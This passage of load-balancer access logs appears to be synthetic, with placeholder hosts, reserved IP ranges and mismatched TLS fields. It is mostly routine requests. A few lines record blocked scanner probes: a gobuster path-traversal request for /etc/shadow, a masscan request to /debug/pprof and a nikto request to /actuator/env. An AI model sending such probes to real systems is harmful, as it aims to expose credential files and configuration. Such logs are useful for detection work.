HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d818-8056e14b06884fdc91f1d9e6" "prod-web-alb.example.com" "-" 3 2024-11-01T02:18:48.192145Z "forward" "-" "-" "10.0.164.186:443" "404" "-" "-" -https 2024-11-01T02:18:48.551358Z prod-web-alb 11.27.4.212:40946 10.0.170.124:443 0.076188 0.248922 0.069269 404 404 887 2136 "GET /checkout HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d818-e575b627a4b34ea594a3954b" "prod-web-alb.example.com" "-" 8 2024-11-01T02:18:48.551358Z "forward" "-" "-" "10.0.170.124:443" "404" "-" "-" -http 2024-11-01T02:18:50.500718Z staging-alb 66.178.253.166:21855 1.32.222.43:8080 0.088819 0.085012 0.042998 200 200 82 10829 "GET /staging/health HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d81a-37b34a237e9842aba71b2e97" "staging-alb.example.com" "-" 4 2024-11-01T02:18:50.500718Z "forward" "-" "-" "1.32.222.43:8080" "200" "-" "-" -http 2024-11-01T02:18:51.855011Z staging-alb 49.91.160.42:40504 49.84.30.119:443 0.047861 0.306111 0.049017 301 301 551 2300 "GET /staging/health HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d81b-9e6153efc78a46dda3516878" "staging-alb.example.com" "-" 7 2024-11-01T02:18:51.855011Z "forward" "-" "-" "49.84.30.119:443" "301" "-" "-" -https 2024-11-01T02:18:52.139460Z prod-api-alb 62.130.10.248:35978 10.0.196.138:443 0.080184 0.164396 0.010201 200 200 340 2368 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d81c-1b48960c7c4941008162b283" "prod-api-alb.example.com" "-" 10 2024-11-01T02:18:52.139460Z "forward" "-" "-" "10.0.196.138:443" "200" "-" "-" -https 2024-11-01T02:18:53.022978Z prod-web-alb 40.175.95.69:19938 10.0.119.149:443 0.043765 0.079969 0.039247 200 200 240 14329 "GET /assets/main.css HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d81d-79289489577f444996643626" "prod-web-alb.example.com" "-" 9 2024-11-01T02:18:53.022978Z "forward" "-" "-" "10.0.119.149:443" "200" "-" "-" -https 2024-11-01T02:18:53.535074Z prod-web-alb 60.84.26.119:59638 10.0.211.206:443 0.064126 0.278593 0.086079 404 404 168 2424 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d81d-a55dee9eabdc487ab28ecaae" "prod-web-alb.example.com" "-" 3 2024-11-01T02:18:53.535074Z "forward" "-" "-" "10.0.211.206:443" "404" "-" "-" -https 2024-11-01T02:18:54.247929Z prod-web-alb 244.21.0.78:54186 10.0.191.67:443 0.063444 0.159753 0.098490 200 200 448 4940 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d81e-1b3ffc6ae6b0439a9db3deaa" "prod-web-alb.example.com" "-" 3 2024-11-01T02:18:54.247929Z "forward" "-" "-" "10.0.191.67:443" "200" "-" "-" -https 2024-11-01T02:18:54.373780Z prod-api-alb 254.212.255.32:34171 10.0.130.221:443 0.040216 0.010967 0.076804 302 302 291 7412 "GET /api/v2/users HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d81e-44f3cb5473a944d0986b114b" "prod-api-alb.example.com" "-" 6 2024-11-01T02:18:54.373780Z "forward" "-" "-" "10.0.130.221:443" "302" "-" "-" -https 2024-11-01T02:18:55.145701Z prod-web-alb 19.139.240.226:13444 10.0.250.64:443 0.070006 0.367951 0.025348 302 302 379 14086 "GET /products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d81f-c27ab3b7a86f44268d809757" "prod-web-alb.example.com" "-" 8 2024-11-01T02:18:55.145701Z "forward" "-" "-" "10.0.250.64:443" "302" "-" "-" -https 2024-11-01T02:18:55.301344Z prod-web-alb 140.212.35.0:35141 10.0.81.3:443 0.045954 0.415282 0.060611 200 200 194 3818 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d81f-e1086d1cb3db42218fe1d98d" "prod-web-alb.example.com" "-" 10 2024-11-01T02:18:55.301344Z "forward" "-" "-" "10.0.81.3:443" "200" "-" "-" -https 2024-11-01T02:18:55.646083Z prod-api-alb 243.163.68.132:59946 10.0.26.112:443 0.002626 0.082961 0.015572 301 301 425 1670 "GET /api/v2/users HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d81f-746c8214f61a4248b8a6e074" "prod-api-alb.example.com" "-" 5 2024-11-01T02:18:55.646083Z "forward" "-" "-" "10.0.26.112:443" "301" "-" "-" -https 2024-11-01T02:18:55.946503Z prod-web-alb 30.71.212.62:34993 10.0.177.151:443 0.070378 0.418033 0.045047 301 301 592 6705 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d81f-3e978e1d43614b8c99a500da" "prod-web-alb.example.com" "-" 4 2024-11-01T02:18:55.946503Z "forward" "-" "-" "10.0.177.151:443" "301" "-" "-" -https 2024-11-01T02:18:56.446245Z prod-api-alb 56.112.185.193:61772 10.0.199.135:443 0.034812 0.238391 0.092631 404 404 718 5997 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d820-de120ff5363042c98675f903" "prod-api-alb.example.com" "-" 4 2024-11-01T02:18:56.446245Z "forward" "-" "-" "10.0.199.135:443" "404" "-" "-" -https 2024-11-01T02:18:58.026366Z prod-api-alb 145.145.234.239:26274 10.0.241.153:443 0.020276 0.483436 0.038311 200 200 105 12230 "GET /api/v1/products HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d822-657996165a91463183316b23" "prod-api-alb.example.com" "-" 9 2024-11-01T02:18:58.026366Z "forward" "-" "-" "10.0.241.153:443" "200" "-" "-" -https 2024-11-01T02:18:59.850265Z prod-api-alb 246.230.126.92:49270 10.0.33.138:443 0.018463 0.205527 0.045694 200 200 878 14089 "GET /api/v1/orders HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d823-057397a2c7f14ec5bf4b2fe0" "prod-api-alb.example.com" "-" 9 2024-11-01T02:18:59.850265Z "forward" "-" "-" "10.0.33.138:443" "200" "-" "-" -https 2024-11-01T02:19:00.309379Z prod-api-alb 96.31.232.30:22509 10.0.52.200:443 0.049369 0.422980 0.023344 200 200 142 6827 "GET /api/health HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d824-3d56aaef976140d9a1b616af" "prod-api-alb.example.com" "-" 2 2024-11-01T02:19:00.309379Z "forward" "-" "-" "10.0.52.200:443" "200" "-" "-" -https 2024-11-01T02:19:01.359361Z prod-api-alb 227.28.237.9:20516 10.0.65.39:443 0.059151 0.267528 0.048893 200 200 526 12081 "GET /api/v1/products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d825-943914e5df5f41359b6b8b8e" "prod-api-alb.example.com" "-" 0 2024-11-01T02:19:01.359361Z "forward" "-" "-" "10.0.65.39:443" "200" "-" "-" -https 2024-11-01T02:19:02.538617Z staging-alb 95.230.33.11:34943 72.175.46.51:443 0.013572 0.714484 0.110897 302 302 252 6466 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d826-9a57de1142d34e6488d5bfae" "staging-alb.example.com" "-" 3 2024-11-01T02:19:02.538617Z "forward" "-" "-" "72.175.46.51:443" "302" "-" "-" -https 2024-11-01T02:19:03.652245Z prod-api-alb 140.93.186.212:43637 10.0.21.93:443 0.053561 0.086068 0.018638 200 200 450 6136 "GET /api/v1/orders HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d827-780b02fdc5ec4e5e9ed79888" "prod-api-alb.example.com" "-" 1 2024-11-01T02:19:03.652245Z "forward" "-" "-" "10.0.21.93:443" "200" "-" "-" -https 2024-11-01T02:19:04.304859Z prod-web-alb 80.220.40.252:42528 10.0.66.159:443 0.082047 0.486270 0.014599 200 200 382 6565 "GET /cart HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d828-d13cf69b082944cb80d671c6" "prod-web-alb.example.com" "-" 9 2024-11-01T02:19:04.304859Z "forward" "-" "-" "10.0.66.159:443" "200" "-" "-" -https 2024-11-01T02:19:05.151390Z prod-api-alb 185.181.61.136:10639 10.0.90.165:443 0.094469 0.345227 0.065653 403 403 275 9327 "POST /debug/pprof HTTP/1.1" "masscan/1.3.2" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d829-d1ed02da03ef440ba1d5e1b2" "-" "-" 8 2024-11-01T02:19:05.151390Z "forward" "-" "-" "10.0.90.165:443" "403" "-" "-" -https 2024-11-01T02:19:06.345870Z prod-api-alb 68.204.18.207:56325 10.0.197.96:443 0.083077 0.123355 0.019627 200 200 109 1351 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d82a-e083d16970214944aa4dd987" "prod-api-alb.example.com" "-" 5 2024-11-01T02:19:06.345870Z "forward" "-" "-" "10.0.197.96:443" "200" "-" "-" -https 2024-11-01T02:19:07.188660Z staging-alb 53.43.119.75:64251 88.176.174.99:80 0.006387 0.663459 0.041765 200 200 582 11092 "GET /staging/health HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d82b-8ad96bbf61e346b78766d9a6" "staging-alb.example.com" "-" 8 2024-11-01T02:19:07.188660Z "forward" "-" "-" "88.176.174.99:80" "200" "-" "-" -https 2024-11-01T02:19:08.746254Z staging-alb 215.20.196.223:30943 151.130.127.206:8080 0.079830 0.465617 0.072024 302 302 904 7897 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d82c-088c1f5444b842f1b0dfa853" "staging-alb.example.com" "-" 1 2024-11-01T02:19:08.746254Z "forward" "-" "-" "151.130.127.206:8080" "302" "-" "-" -https 2024-11-01T02:19:09.601984Z prod-web-alb 185.181.121.168:47097 10.0.31.75:443 0.094073 0.319312 0.003320 403 403 335 10736 "GET /images/../../../../etc/shadow HTTP/1.1" "gobuster/3.5" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d82d-bc7e23722990416fa4d78ae3" "-" "-" 5 2024-11-01T02:19:09.601984Z "forward" "-" "-" "10.0.31.75:443" "403" "-" "-" -https 2024-11-01T02:19:10.275844Z prod-api-alb 84.111.6.106:42801 10.0.199.28:443 0.008318 0.188205 0.098703 200 200 812 14064 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d82e-1b20b10b1dfa4f138c129d6e" "prod-api-alb.example.com" "-" 3 2024-11-01T02:19:10.275844Z "forward" "-" "-" "10.0.199.28:443" "200" "-" "-" -https 2024-11-01T02:19:10.968402Z prod-web-alb 175.225.3.232:34004 10.0.203.215:443 0.013433 0.453349 0.067740 200 200 814 1431 "GET /images/logo.png HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d82e-a0f69e0a7c0e446db4be4261" "prod-web-alb.example.com" "-" 8 2024-11-01T02:19:10.968402Z "forward" "-" "-" "10.0.203.215:443" "200" "-" "-" -https 2024-11-01T02:19:11.766935Z prod-web-alb 216.48.23.53:18846 10.0.129.140:443 0.066891 0.096448 0.011419 404 404 724 1506 "GET /checkout HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d82f-aac9c021886e44628ccc01a7" "prod-web-alb.example.com" "-" 3 2024-11-01T02:19:11.766935Z "forward" "-" "-" "10.0.129.140:443" "404" "-" "-" -https 2024-11-01T02:19:13.020536Z prod-web-alb 88.48.208.92:47070 10.0.38.175:443 0.083153 0.223522 0.034737 200 200 603 3565 "GET /products HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d831-dee72fbce5144cba8d3e9322" "prod-web-alb.example.com" "-" 4 2024-11-01T02:19:13.020536Z "forward" "-" "-" "10.0.38.175:443" "200" "-" "-" -https 2024-11-01T02:19:13.342700Z prod-api-alb 150.101.64.117:63901 10.0.122.148:443 0.038847 0.205367 0.098992 200 200 987 11275 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d831-18987cdefbd2429e97b2834a" "-" "-" 5 2024-11-01T02:19:13.342700Z "forward" "-" "-" "10.0.122.148:443" "200" "-" "-" -https 2024-11-01T02:19:13.639859Z prod-api-alb 198.8.33.6:41010 10.0.41.100:443 0.011433 0.386333 0.028200 301 301 0 6929 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d831-70155dc4908049d299e66627" "prod-api-alb.example.com" "-" 7 2024-11-01T02:19:13.639859Z "forward" "-" "-" "10.0.41.100:443" "301" "-" "-" -https 2024-11-01T02:19:14.686911Z staging-alb 45.155.205.44:25828 253.51.60.205:8080 0.006267 0.401017 0.007537 403 403 454 13764 "GET /actuator/env HTTP/1.1" "nikto/2.1.6" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d832-477c5cc6d08d4bab99fca35d" "-" "-" 8 2024-11-01T02:19:14.686911Z "forward" "-" "-" "253.51.60.205:8080" "403" "-" "-" -https 2024-11-01T02:19:16.157997Z prod-api-alb 107.194.33.242:22003 10.0.146.47:443 0.015837 0.413239 0.080561 302 302 111 7394 "GET /api/v1/products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d834-e5a57b683d4042f0be06b412" "prod-api-alb.example.com" "-" 10 2024-11-01T02:19:16.157997Z "forward" "-" "-" "10.0.146.47:443" "302" "-" "-" -https 2024-11-01T02:19:17.752250Z prod-web-alb 183.212.43.238:10420 10.0.200.6:443 0.048089 0.424494 0.016075 200 200 810 1278 "GET /cart HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d835-1092355b60b140b595c66767" "prod-web-alb.example.com" "-" 2 2024-11-01T02:19:17.752250Z "forward" "-" "-" "10.0.200.6:443" "200" "-" "-" -https 2024-11-01T02:19:18.355608Z prod-api-alb 124.206.242.22:53848 10.0.153.52:443 0.042296 0.095506 0.085069 301 301 871 9529 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d836-91c102f45a5b48b5ae4ab71b" "prod-api-alb.example.com" "-" 6 2024-11-01T02:19:18.355608Z "forward" "-" "-" "10.0.153.52:443" "301" "-" "-" -https 2024-11-01T02:19:18.667684Z prod-web-alb 35.90.158.191:33380 10.0.160.110:443 0.055340 0.059513 0.046666 200 200 913 1660 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d836-719ba1ba18e74d7096b7e682" "prod-web-alb.example.com" "-" 6 2024-11-01T02:19:18.667684Z "forward" "-" "-" "10.0.160.110:443" "200" "-" "-" -https 2024-11-01T02:19:20.246835Z staging-alb 214.23.113.89:16610 82.10.82.189:8080 0.049841 0.741804 0.033054 302 302 266 7415 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d838-87c23ecd58994ef0b2166be3" "staging-alb.example.com" "-" 5 2024-11-01T02:19:20.246835Z "forward" "-" "-" "82.10.82.189:8080" "302" "-" "-" -http 2024-11-01T02:19:21.144127Z staging-alb 86.177.248.85:33607 188.168.236.158:443 0.071944 0.312242 0.091786 404 404 309 10341 "GET /web/test HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d839-a09b155b0ac14ebb90d2471b" "staging-alb.example.com" "-" 3 2024-11-01T02:19:21.144127Z "forward" "-" "-" "188.168.236.158:443" "404" "-" "-" -https 2024-11-01T02:19:22.489392Z prod-web-alb 147.186.50.194:42235 10.0.170.204:443 0.028927 0.266077 0.078211 200 200 97 5633 "GET /cart HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d83a-9fbfe2b3f9854bffb2e4da8b" "-" "-" 5 2024-11-01T02:19:22.489392Z "forward" "-" "-" "10.0.170.204:443" "200" "-" "-" -https 2024-11-01T02:19:24.297595Z prod-web-alb 9.16.76.69:37487 10.0.154.194:443 0.013171 0.461581 0.087655 200 200 737 3471 "GET /products HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d83c-c028f308db394d319ef735c4" "prod-web-alb.example.com" "-" 7 2024-11-01T02:19:24.297595Z "forward" "-" "-" "10.0.154.194:443" "200" "-" "-" -https 2024-11-01T02:19:25.142898Z prod-api-alb 41.64.254.50:50942 10.0.192.100:443 0.045757 0.486370 0.046857 200 200 133 495 "GET /api/v1/products HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d83d-6f0ff48462124690a227bd81" "prod-api-alb.example.com" "-" 4 2024-11-01T02:19:25.142898Z "forward" "-" "-" "10.0.192.100:443" "200" "-" "-" -https 2024-11-01T02:19:25.352324Z prod-api-alb 185.205.108.150:14591 10.0.97.73:443 0.001375 0.297241 0.043431 301 301 884 1531 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d83d-48d829d95f4a46dfb355e7ed" "prod-api-alb.example.com" "-" 8 2024-11-01T02:19:25.352324Z "forward" "-" "-" "10.0.97.73:443" "301" "-" "-" -https 2024-11-01T02:19:27.226494Z prod-web-alb 218.21.166.229:31592 10.0.119.156:443 0.039648 0.233727 0.071790 302 302 354 2837 "GET /images/logo.png HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d83f-e1aa318d65fa420ba0d03e81" "prod-web-alb.example.com" "-" 6 2024-11-01T02:19:27.226494Z "forward" "-" "-" "10.0.119.156:443" "302" "-" "-" -https 2024-11-01T02:19:28.708232Z prod-web-alb 23.118.184.252:13230 10.0.144.92:443 0.067540 0.198509 0.008091 200 200 310 13631 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d840-a72f99432e4246cdaf021930" "prod-web-alb.example.com" "-" 2 2024-11-01T02:19:28.708232Z "forward" "-" "-" "10.0.144.92:443" "200" "-" "-" -http 2024-11-01T02:19:30.488991Z staging-alb 210.59.218.157:40431 163.17.70.24:443 0.120148 0.456003 0.008212 200 200 472 12836 "GET /api/v1/products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d842-da7cebad46124305a2b631aa" "staging-alb.example.com" "-" 6 2024-11-01T02:19:30.488991Z "forward" "-" "-" "163.17.70.24:443" "200" "-" "-" -https 2024-11-01T02:19:32.320196Z staging-alb 6.36.153.26:16837 174.199.231.113:443 0.096821 0.717245 0.071263 200 200 316 14425 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d844-af7d6d3f5f964e75a165b938" "staging-alb.example.com" "-" 7 2024-11-01T02:19:32.320196Z "forward" "-" "-" "174.199.231.113:443" "200" "-" "-" -https 2024-11-01T02:19:33.013601Z staging-alb 29.32.196.218:58212 99.62.169.8:443 0.145163 0.176691 0.069138 200 200 209 3749 "GET /web/test HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d845-33d1d956ad0745c6a11f8482" "staging-alb.example.com" "-" 5 2024-11-01T02:19:33.013601Z "forward" "-" "-" "99.62.169.8:443" "200" "-" "-" -https 2024-11-01T02:19:34.349906Z prod-web-alb 10.153.103.81:48788 10.0.52.219:443 0.086626 0.480820 0.025872 200 200 800 1415 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.3 